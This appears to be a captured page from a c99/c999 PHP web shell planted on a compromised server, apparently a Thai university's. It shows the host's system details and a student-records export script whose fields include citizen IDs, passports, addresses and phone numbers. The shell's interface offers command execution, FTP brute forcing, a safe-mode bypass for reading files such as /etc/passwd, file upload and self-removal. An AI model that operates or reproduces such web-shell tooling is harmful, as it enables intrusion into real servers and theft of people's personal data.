!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis2222/application/views/eregis/   drwxrwxrwx
Free 50.65 GB of 127.8 GB (39.63%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     export_mua_Gradute.php (6.04 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
//คำสั่ง connect db เขียนเพิ่มเองนะ

$strExcelFileName="Mua_Uoc_Graduate.xls";
header("Content-Type: application/x-msexcel; name=\"$strExcelFileName\"");
header("Content-Disposition: inline; filename=\"$strExcelFileName\"");
header("Pragma:no-cache");

?>
<html xmlns:o="urn:schemas-microsoft-com:office:office"xmlns:x="urn:schemas-microsoft-com:office:excel"xmlns="http://www.w3.org/TR/REC-html40">
 
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
</head>
<body>
<div id="SiXhEaD_Excel" align=center x:publishsource="Excel">
<table x:str border=1 cellpadding=0 cellspacing=1 width=100% style="border-collapse:collapse">
<tr>
<td><strong>ปีการศึกษา</strong></td>
<td><strong>รหัสสถานศึกษา</strong></td>
<td><strong>รหัสประชาชน</strong></td>
<td><strong>รหัสนักศึกษา</strong></td>
<td><strong>รหัสคำนำหน้าชื่อ</strong></td>
<td><strong>ชื่อ</strong></td>
<td><strong>ชื่อกลาง</strong></td>
<td><strong>ชื่อสกุล</strong></td>
<td><strong>รหัสเพศ</strong></td>
<td><strong>วันเดือนปีเกิด</strong></td>
<td><strong>รหัสคณะที่ศึกษา</strong></td>
<td><strong>เกรดเฉลี่ย</strong></td>
<td><strong>เลขรหัสประจำบ้าน</strong></td>
<td><strong>เลขที่บ้าน</strong></td>
<td><strong>ชื่อที่อยู่</strong></td>
<td><strong>หมู่</strong></td>
<td><strong>ซอย</strong></td>
<td><strong>ถนน</strong></td>
<td><strong>รหัสอำเภอ</strong></td>
<td><strong>เบอร์โทรศัพท์</strong></td>
<td><strong>รหัสไปษณีย์</strong></td>
<td><strong>Email</strong></td>
<td><strong>วันที่สำเร็จการศึกษา</strong></td>
<td><strong>รหัสหลักสูตรที่ศึกษา</strong></td>
<td><strong>ลำดับของปริญญาในหลักสูตร</strong></td>
<td><strong>รหัสสัญชาติ</strong></td>
<td><strong>เลขที่หนังสือเดินทาง(สำหรับ น.ศ. ต่างชาติ)</strong></td>
<td><strong>วันออกหนังสือเดินทาง</strong></td>
<td><strong>วันหมดอายุหนังสือเดินทาง</strong></td>
<td><strong>ชื่อภาษาอังกฤษ</strong></td>
<td><strong>ชื่อกลางภาษาอังกฤษ</strong></td>
<td><strong>ชื่อสกุลภาษาอังกฤษ</strong></td>
</tr>
<?php
    
foreach($study->result() as $res){ 
?>
   <tr>
<td><strong><?= $res->YEAR $res->YEAR:'zzzz'?></strong></td>
<td><strong><?= $res->UNIV_ID $res->UNIV_ID:'zzzzz'?></strong></td>
<td><strong><?= $res->CITIZEN_ID $res->CITIZEN_ID:'zzzzzzzzzzzzz'?></strong></td>
<td><strong><?= $res->STD_ID $res->STD_ID:'zzzzzzzzzzzzz'?></strong></td>
<td><strong><?= $res->PREFIX_NAME_ID $res->PREFIX_NAME_ID:'zzz'?></strong></td>
<td><strong><?= $res->STD_FNAME $res->STD_FNAME:'zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz'?></strong></td>
<td><strong><?= $res->STD_MNAME $res->STD_MNAME:'zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz'?></strong></td>
<td><strong><?= $res->STD_LNAME $res->STD_LNAME:'zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz'?></strong></td>
<td><strong><?= $res->GENDER_ID $res->GENDER_ID:'z'?></strong></td>
<td><strong><?= $res->BIRTHDAY $res->BIRTHDAY:'0000-00-00'?></strong></td>
<td><strong><?= $res->FAC_ID $res->FAC_ID:'zzzzz'?></strong></td>
<td><strong><?= $res->GPAX $res->GPAX:'zzzz'?></strong></td>
<td><strong><?= $res->HOUSE_ID $res->HOUSE_ID:'zzzzzzzzzzz'?></strong></td>
<td><strong>zzzzzzzzzz</strong></td>
<td><strong><?= $res->sdtHomeAddr $res->sdtHomeAddr:'zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz';?></strong></td>
<td><strong>zzzz</strong></td>
<td><strong>zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz</strong></td>
<td><strong>zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz</strong></td>
<td><strong><?= $res->SUB_DISTRICT_ID $res->SUB_DISTRICT_ID:'zzzzzz'?></strong></td>
<td><strong><?= $res->sdtHomePhoneNo $res->sdtHomePhoneNo:'zzzzzzzzzzzzzzzzzzzzzzzzzzzzzz';?></strong></td>
<td><strong><?= $res->sdtHomePostCode $res->sdtHomePostCode:'zzzzz';?></strong></td>
<td><strong><?= $res->sdtEmail $res->sdtEmail:'zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz';?></strong></td>
<td><strong><?= $res->stdGraduateDate $res->stdGraduateDate:'0000-00-00';?></strong></td>
<td><strong><?= $res->CURR_ID $res->CURR_ID:'zzzzzzzzzzzzzz'?></strong></td>
<td><strong>1</strong></td>
<td><strong><?= $res->NATION_ID $res->NATION_ID:'zz';?></strong></td>
<td><strong><?= $res->PASSPORT_NUMBER $res->PASSPORT_NUMBER:'zzzzzzzzzzzzzzzzzzzz'?></strong></td>
<td><strong><?= $res->PASSPORT_STARTDATE $res->PASSPORT_STARTDATE:'0000-00-00'?></strong></td>
<td><strong><?= $res->PASSPORT_ENDDATE $res->PASSPORT_ENDDATE:'0000-00-00'?></strong></td>
<td><strong><?= $res->STD_FNAME_EN $res->STD_FNAME_EN:'zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz'?></strong></td>
<td><strong><?= $res->STD_MNAME_EN $res->STD_MNAME_EN:'zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz'?></strong></td>
<td><strong><?= $res->STD_LNAME_EN $res->STD_LNAME_EN:'zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz'?></strong></td>
  </tr>
<?php
    
}
?>
</table>
</div>
<script>
window.onbeforeunload = function(){return false;};
setTimeout(function(){window.close();}, 10000);
</script>
</body>
</html>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0157 ]--